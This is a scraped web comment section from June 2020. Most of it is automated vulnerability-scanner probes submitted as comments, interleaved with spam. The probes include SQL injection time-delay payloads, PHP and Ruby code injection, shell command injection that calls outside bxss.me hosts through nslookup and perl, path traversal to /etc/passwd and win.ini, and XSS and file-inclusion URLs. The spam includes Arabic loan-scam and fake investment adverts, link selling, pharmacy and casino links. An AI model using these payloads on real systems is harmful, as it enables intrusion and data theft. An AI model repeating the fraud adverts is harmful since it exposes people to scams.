Sunday, June 14, 2020

Linkbuilding Company selling links in sponsored content, press releases with dofollow links that will make your business take off in Google. Thousands of sites categorized by country. Sites with high SEO metrics and high traffic, get relevance for your website thanks to this way of making linkbuilding. Visit our site https://bit.ly/purolink

mr scott

Sunday, June 14, 2020

يوم جيد، هل تواجه أي نوع من الصعوبات المالية؟ هل تحتاج إلى قرض لتسوية الديون الخاصة بك؟ هل ستزيد اموالك؟ هل أنت رجل أعمال يرغب في توسيع شركته. نشجعك هنا على الاتصال بالبطل الحقيقي ، والثقة ، وإقراض القرض الفعال لقرضك. أنا معروف من قبل كل من الأفراد والحكومة لكفاءتنا الكبيرة. الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com Whatsapp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. بإخلاص، السيد سكوت accessloanfirm2030@gmail.com

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

kClNFbi1')); waitfor delay '0:0:12' --

Sunday, June 14, 2020

555

Ms2uhF5Q'); waitfor delay '0:0:12' --

Sunday, June 14, 2020

555

bz4QInB2'; waitfor delay '0:0:12' --

Sunday, June 14, 2020

555

1 waitfor delay '0:0:12' --

Sunday, June 14, 2020

555

if(now()=sysdate(),sleep(12),0)

Sunday, June 14, 2020

555

873'

Sunday, June 14, 2020

555

-1" OR 3*2>(0+5+66-66) --

Sunday, June 14, 2020

555

-1" OR 3*2<(0+5+66-66) --

Sunday, June 14, 2020

555

-1" OR 3+66-66-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1" OR 2+66-66-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1' OR 3*2>(0+5+228-228) or 'AWwAypfe'='

Sunday, June 14, 2020

555

-1' OR 3*2<(0+5+228-228) or 'AWwAypfe'='

Sunday, June 14, 2020

555

-1' OR 3+228-228-1=0+0+0+1 or 'AWwAypfe'='

Sunday, June 14, 2020

555

-1' OR 2+228-228-1=0+0+0+1 or 'AWwAypfe'='

Sunday, June 14, 2020

555

-1' OR 3*2>(0+5+258-258) --

Sunday, June 14, 2020

555

-1' OR 3*2<(0+5+258-258) --

Sunday, June 14, 2020

555

-1' OR 3+258-258-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1' OR 2+258-258-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1 OR 3*2>(0+5+543-543)

Sunday, June 14, 2020

555

-1 OR 3*2<(0+5+543-543)

Sunday, June 14, 2020

555

-1 OR 3+543-543-1=0+0+0+1

Sunday, June 14, 2020

555

-1 OR 2+543-543-1=0+0+0+1

Sunday, June 14, 2020

555

-1 OR 3*2>(0+5+60-60) --

Sunday, June 14, 2020

555

-1 OR 3*2<(0+5+60-60) --

Sunday, June 14, 2020

555

-1 OR 3+60-60-1=0+0+0+1 --

Sunday, June 14, 2020

555

-1 OR 2+60-60-1=0+0+0+1 --

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'

CpjJwWHV

Sunday, June 14, 2020

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)

CpjJwWHV

Sunday, June 14, 2020

2ptOs32Y')) OR 172=(SELECT 172 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

SAFPDjvE') OR 529=(SELECT 529 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

QGxCMvsn' OR 227=(SELECT 227 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

-1)) OR 306=(SELECT 306 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

-5) OR 793=(SELECT 793 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

-5 OR 918=(SELECT 918 FROM PG_SLEEP(12))--

CpjJwWHV

Sunday, June 14, 2020

ca3sSQof')); waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

5RRhlRrz'); waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

p7ux4VDP'; waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

1 waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

-1)); waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

-1); waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

-1; waitfor delay '0:0:12' --

CpjJwWHV

Sunday, June 14, 2020

(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/

CpjJwWHV

Sunday, June 14, 2020

0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z

CpjJwWHV

Sunday, June 14, 2020

0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z

CpjJwWHV

Sunday, June 14, 2020

if(now()=sysdate(),sleep(12),0)

CpjJwWHV

Sunday, June 14, 2020

431'

CpjJwWHV

Sunday, June 14, 2020

-1" OR 3*2>(0+5+712-712) --

CpjJwWHV

Sunday, June 14, 2020

-1" OR 3*2<(0+5+712-712) --

CpjJwWHV

Sunday, June 14, 2020

-1" OR 3+712-712-1=0+0+0+1 --

CpjJwWHV

Sunday, June 14, 2020

-1" OR 2+712-712-1=0+0+0+1 --

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3*2>(0+5+991-991) or 'LPcQl2mb'='

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3*2<(0+5+991-991) or 'LPcQl2mb'='

CpjJwWHV9199636

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3+991-991-1=0+0+0+1 or 'LPcQl2mb'='

CpjJwWHV

Sunday, June 14, 2020

-1' OR 2+991-991-1=0+0+0+1 or 'LPcQl2mb'='

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3*2>(0+5+977-977) --

'"

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

5559557908

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

'"

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3*2<(0+5+977-977) --

'.print(md5(31337)).'

Sunday, June 14, 2020

555

Create/.

Sunday, June 14, 2020

555

/xfs.bxss.me

Sunday, June 14, 2020

555

${@print(md5(31337))}\

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

Create

Sunday, June 14, 2020

555

${@print(md5(31337))}

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

/xfs.bxss.me

";print(md5(31337));$a="

Sunday, June 14, 2020

555

Create

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1' OR 3+977-977-1=0+0+0+1 --

';print(md5(31337));$a='

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

;print(md5(31337));

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

bxss.me/t/xss.html?%00

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

Create/.

CpjJwWHV

Sunday, June 14, 2020

'+'A'.concat(70-3).concat(22*4).concat(113).concat(78).concat(109).concat(74)+(require'socket' Socket.gethostbyname('hitzl'+'sexjbwal6ac60.bxss.me.')[3].to_s)+'

CpjJwWHV

Sunday, June 14, 2020

555

HttP://bxss.me/t/xss.html?%00

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

Create

CpjJwWHV

Sunday, June 14, 2020

-1' OR 2+977-977-1=0+0+0+1 --

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

Create

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

"+"A".concat(70-3).concat(22*4).concat(111).concat(71).concat(120).concat(65)+(require"socket" Socket.gethostbyname("hitcr"+"mcbphctedfe2a.bxss.me.")[3].to_s)+"

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

bxss.me/t/xss.html?%00

CpjJwWHV

Sunday, June 14, 2020

'.print(md5(31337)).'

CpjJwWHV

Sunday, June 14, 2020

HttP://bxss.me/t/xss.html?%00

CpjJwWHV

Sunday, June 14, 2020

${@print(md5(31337))}\

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3*2>(0+5+638-638)

CpjJwWHV

Sunday, June 14, 2020

${@print(md5(31337))}

CpjJwWHV

Sunday, June 14, 2020

";print(md5(31337));$a="

Y3RpbWUKc2xlZXAKcDAKKEkzMAp0cDEKUnAyCi4=

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

';print(md5(31337));$a='

CpjJwWHV

Sunday, June 14, 2020

;print(md5(31337));

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3*2<(0+5+638-638)

CpjJwWHV&n917717=v951672

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

bxss.me

Sunday, June 14, 2020

555

http://bxss.me/t/fit.txt?.jpg

Sunday, June 14, 2020

555

^(#$!@#$)(()))******

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3+638-638-1=0+0+0+1

!(()&&!|*|*|

Sunday, June 14, 2020

555

Http://bxss.me/t/fit.txt

Sunday, June 14, 2020

555

'"()

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

".gethostbyname(lc("hitoj"."drlgihml08599.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(86).chr(116).chr(71)."

1some_inexistent_file_with_long_name.jpg

Sunday, June 14, 2020

555

)

Sunday, June 14, 2020

555

sample@email.tst

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

'.gethostbyname(lc('hitel'.'hzkbxvlk953ec.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(65).chr(118).chr(79).'

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

'"()

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

^(#$!@#$)(()))******

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

!(()&&!|*|*|

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1 OR 2+638-638-1=0+0+0+1

CpjJwWHV

Sunday, June 14, 2020

)

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

bxss.me

CpjJwWHV

Sunday, June 14, 2020

555&n992028=v983746

CpjJwWHV

Sunday, June 14, 2020

http://bxss.me/t/fit.txt?.jpg

TkFIUXl2WUg=

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

Http://bxss.me/t/fit.txt

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

1some_inexistent_file_with_long_name.jpg

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3*2>(0+5+847-847) --

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

${9999759+9999724}

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

../CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

${9999556+10000444}

CpjJwWHV

Sunday, June 14, 2020

555

12345'"\'\");|]*{ <>�''💡

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3*2<(0+5+847-847) --

"+response.write(9692760*9925740)+"

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

;(nslookup hitarntgzgasib9dce.bxss.me||perl -e "gethostbyname('hitarntgzgasib9dce.bxss.me')")|(nslookup hitarntgzgasib9dce.bxss.me||perl -e "gethostbyname('hitarntgzgasib9dce.bxss.me')")&(nslookup hitarntgzgasib9dce.bxss.me||perl -e "gethostbyname('hitarntgzgasib9dce.bxss.me')")

../../../../../../../../../../etc/passwd

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

'+response.write(9692760*9925740)+'

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

`(nslookup hituvfzwnmipo91730.bxss.me||perl -e "gethostbyname('hituvfzwnmipo91730.bxss.me')")`

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

response.write(9692760*9925740)

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

|(nslookup hitxhdzceuums1ce0e.bxss.me||perl -e "gethostbyname('hitxhdzceuums1ce0e.bxss.me')")

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

&(nslookup hitltwcbfrerofdfaf.bxss.me||perl -e "gethostbyname('hitltwcbfrerofdfaf.bxss.me')")&'\"`0&(nslookup hitltwcbfrerofdfaf.bxss.me||perl -e "gethostbyname('hitltwcbfrerofdfaf.bxss.me')")&`'

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

12345'"\'\");|]*{ <>�''💡

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

$(nslookup hitkpbglanedk54a26.bxss.me||perl -e "gethostbyname('hitkpbglanedk54a26.bxss.me')")

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

(nslookup hitzvpsexawwf4c535.bxss.me||perl -e "gethostbyname('hitzvpsexawwf4c535.bxss.me')")

CpjJwWHV

Sunday, June 14, 2020

../555

q4kPKktF

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

"+response.write(9948482*9518518)+"

CpjJwWHV

Sunday, June 14, 2020

|echo kgvwxq$()\ dzwipi\nz^xyu||a #' |echo kgvwxq$()\ dzwipi\nz^xyu||a #|" |echo kgvwxq$()\ dzwipi\nz^xyu||a #

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

../../../../../../../../../../windows/win.ini

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3+847-847-1=0+0+0+1 --

CpjJwWHV

Sunday, June 14, 2020

&echo xtztjp$()\ jvocnf\nz^xyu||a #' &echo xtztjp$()\ jvocnf\nz^xyu||a #|" &echo xtztjp$()\ jvocnf\nz^xyu||a #

CpjJwWHV

Sunday, June 14, 2020

'+response.write(9948482*9518518)+'

CpjJwWHV

Sunday, June 14, 2020

27b2BEfj

CpjJwWHV

Sunday, June 14, 2020

../../../../../../../../../../etc/passwd

CpjJwWHV

Sunday, June 14, 2020

response.write(9948482*9518518)

CpjJwWHV

Sunday, June 14, 2020

echo rcsknh$()\ ylzmiv\nz^xyu||a #' &echo rcsknh$()\ ylzmiv\nz^xyu||a #|" &echo rcsknh$()\ ylzmiv\nz^xyu||a #

CpjJwWHV

Sunday, June 14, 2020

-1 OR 2+847-847-1=0+0+0+1 --

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

�''�""

Sunday, June 14, 2020

555

�'�"

Sunday, June 14, 2020

555

JyI=

Sunday, June 14, 2020

555

@@IViT2

Sunday, June 14, 2020

555

1����%2527%2522

Sunday, June 14, 2020

555

\

Sunday, June 14, 2020

555

1'"

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

�''�""

CpjJwWHV

Sunday, June 14, 2020

�'�"

CpjJwWHV

Sunday, June 14, 2020

JyI=

CpjJwWHV

Sunday, June 14, 2020

@@ipSA1

CpjJwWHV

Sunday, June 14, 2020

1����%2527%2522

CpjJwWHV

Sunday, June 14, 2020

\

CpjJwWHV

Sunday, June 14, 2020

1'"

CpjJwWHV

Sunday, June 14, 2020

555

Katlyn

Saturday, June 13, 2020

It's hard to come by knowledgeable people in this particular subject, however, you soind like you know what you're talking about! Thanks Repair of the hall repair of the hall in Khrushchev hall design in the apartment

Laurinda Mccrary

Saturday, June 13, 2020

Interested in the latest fitness , wellness, nutrition trends? Check out my blog here: https://bit.ly/www-fitnessismystatussymbol-com And my Instagram page @ziptofitness

카지노사이트

Friday, June 12, 2020

Incredible story there. What occurred after? Good luck! http://vab.hu/index.php?a=stats&u=terrencebauman3

Caryn Avila

Thursday, June 11, 2020

Interested in an advertising service that charges less than $49 every month and sends hundreds of people who are ready to buy directly to your website? For details visit: https://bit.ly/traffic-for-you

Henry

Wednesday, June 10, 2020

Hello mates, how is the whole thing, and what you wish for to say regarding this post, in my vie its genuinely remarkable designed for me. сialis Generika ohne Rezept kamagra online bestellen сialis ohne rezept

bitcoin investment

Wednesday, June 10, 2020

مرحبًا أيها المشاهد نحن متداولون محترفون ، نربح على الفوركس وثنائي للمستثمرين أسبوعيًا ، نود أن نخبرك بالمزيد حول منصة الاستثمار الخاصة بنا حيث يمكنك استثمار الأموال بأقل من 200 دولار والبدء في كسب 2000 دولار أسبوعيًا ، وقد استفاد الكثير من الناس من هذا الاستثمار العرض قبل وأثناء هذا الفيروس كونفيد 19 ، إذا كنت تواجه صعوبات مالية بسبب هذا الفيروس التاجي وتحتاج إلى مساعدة في دفع الفواتير ببساطة اختر خطة استثمارية مناسبة لنفسك وابدأ في تحقيق الربح أسبوعيًا 200 دولار لكسب 2000 دولار في 7 أيام 300 دولار لكسب 3000 دولار في 7 أيام 500 دولار لكسب 5000 دولار في 7 أيام 1000 دولار لكسب 10000 دولار في 7 أيام 5000 دولار لكسب 50000 دولار في 7 أيام لبدء الاستثمار الخاص بك الآن WhatsApp: +15022064419 أو البريد الإلكتروني tradewithcarlos2156@gmail.com

Christel Monette

Monday, June 8, 2020

No more paying 1000's of dollars for overpriced online ads! We've got a method that charges only a very small bit of money and produces an almost infinite amount of visitors to your website To get more info take a look at: https://bit.ly/adpostingfast

Herbert Lenz

Sunday, June 7, 2020

Hello I am writing to invite you to list your business budget.gov.eg with one of the leading CBD shop directories, Hempressa.com. We have a very active CBD blog covering CBD guides, news and reviews (https://hempressa.com/posts). Our blog attracts quality UK and USA visitors every month. By listing with us, you will receive more exposure for your business and also receive direct leads from customers via the contact form on your listings page. We have temporarily slashed our prices by 80% to help CBD businesses grow their business during these challenging times. Register your business today: https://hempressa.com/user/select-plan We look forward to seeing you join us. Stay safe!

Brenton Farnsworth

Sunday, June 7, 2020

You Can DOUBLE Your Productivity For Life In Under 48 Hours And when it comes to changing your life, there's nothing more important to fixing your productivity. Think about it. If you're twice as productive, then, as far as your environment supports it, you're going to make at least twice as much. However, the growth is almost always exponential. So expect even more income, free time, and the ability to decide what you want to do at any given moment. Here's the best course I've seen on this subject: https://bit.ly/michaeltips-com It's a fun and pretty short read... and it has the potential to change your life in 48 hours from now. Michael Hehn

Rebekah Hatten

Saturday, June 6, 2020

Greetings, I was just taking a look at your site and submitted this message via your "contact us" form. The "contact us" page on your site sends you messages like this via email which is why you are reading my message at this moment correct? That's half the battle with any kind of advertising, making people actually READ your advertisement and I did that just now with you! If you have an ad message you would like to blast out to tons of websites via their contact forms in the U.S. or anywhere in the world send me a quick note now, I can even target specific niches and my pricing is very reasonable. Write an email to: cluffcathey@gmail.com I want to terminate these messages https://bit.ly/3eOGPEY

Lillie

Friday, June 5, 2020

Howdy! Quick question that's entirely off topic. Do you know how to make your site mobile friendly? My web site looks weird when viewing from my apple iphone. I'm trying to find a template or plugin that might be able to resolve this issue. If you have any recommendations, please share. Many thanks! http://calcitriol.ventolin.site/foods-to-avoid-when-taking-viagra/generic-drug-similar-to-singulair.html как купить виагру в аптеке спб http://calcitriol.ventolin.site/foods-to-avoid-when-taking-viagra/generic-drug-similar-to-singulair.html как купить виагру в аптеке спб

Olivia

Friday, June 5, 2020

I blog frequently and I really thank you for your content. The article has really peaked my interest. I am going to book mark your website and keep checking for new details about once per week. I subscribed to your Feed as well. http://lakeside.topamax.site/using-viagra-for-performance-anxiety/olive-oil-as-good-as-viagra.html купить виагры в Новосибирске http://lakeside.topamax.site/using-viagra-for-performance-anxiety/olive-oil-as-good-as-viagra.html купить виагры в Новосибирске

Yong

Friday, June 5, 2020

Heya i'm for the first time here. I came across this board and I in finding It really helpful & it helped me out much. I hope to give one thing back and aid others such as you aided me. http://womandating.datinghip.site/eco-dating-sites.html porn tube videos sites http://womandating.datinghip.site/eco-dating-sites.html porn tube videos sites

Blake

Friday, June 5, 2020

Great info. Lucky me I discovered your website by chance (stumbleupon). I've bookmarked it for later! http://onlinedating.datinghip.site/dating-sites-free-online-usa.html porno cay http://onlinedating.datinghip.site/dating-sites-free-online-usa.html porno cay

9RP8NPE www.yandex.ru

Thursday, June 4, 2020

9RP8NPE www.yandex.ru

Cyrus Kirwin

Wednesday, June 3, 2020

亲!可以帮我们新开网店刷排名吗? 每天20-35,每天可得580,当天结算,多劳多得。 不限时间地点,有手机就可以做,无需任何费用,长期有效,做不做都可以先加Q了解一下, 详情咨询QQ:180224896

Anna

Wednesday, June 3, 2020

إذا نفدت نقودك الآن أو واجهت الكثير من النفقات غير المتوقعة التي لا يمكنك دفعها في الوقت المحدد ، فقد تبحث عن قروض سريعة عبر الإنترنت في ساعة واحدة لحل مشكلاتك المالية بشكل فعال. هذا النوع من القروض شائع لأن العديد من الأشخاص الذين يحتاجون إلى قروض نقدية يدركون الآن أن مقرضي القروض هم الوحيدون الذين يمكنهم مساعدتهم في الحصول على قروض سريعة في نفس اليوم. اتصل بنا عبر البريد الإلكتروني: mrsmarissmithloanhome@hotmail.com

Anna

Wednesday, June 3, 2020

إذا نفدت نقودك الآن أو واجهت الكثير من النفقات غير المتوقعة التي لا يمكنك دفعها في الوقت المحدد ، فقد تبحث عن قروض سريعة عبر الإنترنت في ساعة واحدة لحل مشكلاتك المالية بشكل فعال. هذا النوع من القروض شائع لأن العديد من الأشخاص الذين يحتاجون إلى قروض نقدية يدركون الآن أن مقرضي القروض هم الوحيدون الذين يمكنهم مساعدتهم في الحصول على قروض سريعة في نفس اليوم. اتصل بنا عبر البريد الإلكتروني: mrsmarissmithloanhome@hotmail.com

Anna

Wednesday, June 3, 2020

مرحبا هل تحتاج قرض؟ يمكنك إصلاح مشكلتك عندما تواجه مشكلة. أنا سيدتي آنا من كوستاريكا الأسبوع الماضي ، يوم الإثنين ، كنت أبحث عن قرض لدفع فواتيري ، لذا دخلت في عمليات احتيال مختلفة وخدعت من قبل العديد من المقرضين إذا لم يكن من أجل نساء السديح اللواتي بصفتي صديقًا جيدًا لي ، فإنني أوصي السيدة ماريس سميث (الرئيس التنفيذي) بقرض منزل السيدة ماريس سميث وساعدني بقرض 600000 دولار بدون ضغوط. لذلك ، يا رجل صالح من إسبانيا ، يمكنك الاتصال به عبر البريد الإلكتروني: {mrsmarissmithloanhome@hotmail.com} ولا تنس أن أخبره أنني أقدمك إلى شركته.

Anna

Wednesday, June 3, 2020

مرحبا هل تحتاج قرض؟ يمكنك إصلاح مشكلتك عندما تواجه مشكلة. أنا سيدتي آنا من كوستاريكا الأسبوع الماضي ، يوم الإثنين ، كنت أبحث عن قرض لدفع فواتيري ، لذا دخلت في عمليات احتيال مختلفة وخدعت من قبل العديد من المقرضين إذا لم يكن من أجل نساء السديح اللواتي بصفتي صديقًا جيدًا لي ، فإنني أوصي السيدة ماريس سميث (الرئيس التنفيذي) بقرض منزل السيدة ماريس سميث وساعدني بقرض 600000 دولار بدون ضغوط. لذلك ، يا رجل صالح من إسبانيا ، يمكنك الاتصال به عبر البريد الإلكتروني: {mrsmarissmithloanhome@hotmail.com} ولا تنس أن أخبره أنني أقدمك إلى شركته.

Lenora

Tuesday, June 2, 2020

After I initially commented I appear to have clicked the -Notify me when new comments are added- checkbox and now each time a comment is added I recieve 4 emails with the exact same comment. There has to be a means you are able to remove me from that service? Cheers! https://youbestkratom.buzz/kratom-supplier.html buy kratom seeds online https://youbestkratom.buzz/kratom-supplier.html buy kratom seeds online

Micah Hall

Sunday, May 31, 2020

TRIFECTA! A novel that starches your emotional – erotic itch! Against a background of big business, deceit, frustration, oppression drives a wide range of emotions as three generations of women from the same family, turn to the same man for emotional support and physical gratification! A wife deceives her husband while searching for her true sexuality! What motivates the wife’s mother and son-in-law to enter into a relationship? The wife’s collage age daughter, with tender guidance from her step-father, achieves fulfillment! Does this describe a dysfunctional family? Or is this unspoken social issues of modern society? BLOCKBUSTER Opening! A foursome of two pair of lesbians playing golf. A little hanky – panky, while searching for a lost ball out of bounds. Trifecta has more turns and twist than our intestines. Trifecta! Combination of my personal experiences and creativity. https://bit.ly/www-popejim-com for “CLICK & VIEW” VIDEO. Send me your commits. Available amazon, book retailers. Trifecta! by James Pope

Rosetta Catron

Thursday, May 28, 2020

Good morning, I was just checking out your website and submitted this message via your feedback form. The "contact us" page on your site sends you these messages via email which is the reason you're reading through my message right now right? This is the holy grail with any kind of advertising, making people actually READ your message and that's exactly what I just accomplished with you! If you have an ad message you would like to blast out to millions of websites via their contact forms in the US or anywhere in the world send me a quick note now, I can even target particular niches and my pricing is super low. Send a message to: Phungcorsi@gmail.com

MarkArese

Thursday, May 28, 2020

http://vet-profi.com/forum/user/2698/ Бесплатные игровые автоматы крышки, бесплатные игровые автоматы без регистрации рейтинг казино Портал регулярно проводит конкурсы среди игроков с розыгрышем ценных призов.Разве это не самый главный показатель для азартного интернет-ресурса? http://topmoney100.drugspedia.net/index.php?p=43 Мандарин казино отзывы http://newterra.by/component/k2/itemlist/user/12864 Букмегеры установили игровые автоматы как будем боротся Великолепные актерские работы (в том числе и Шарон Стоун, получившей за роль Джинджер &laquo;Золотой Глобус&raquo;) придают происходящим на экране событиям практически документальную достоверность.Онлайн казино, в свою очередь, обязуется сделать процесс игры исключительно приятным и захватывающим для каждого посетителя. https://buenaconciencia.com/community/profile/roulette13416168/ Рулетка игра азарт, рулетка игра играть Также вам 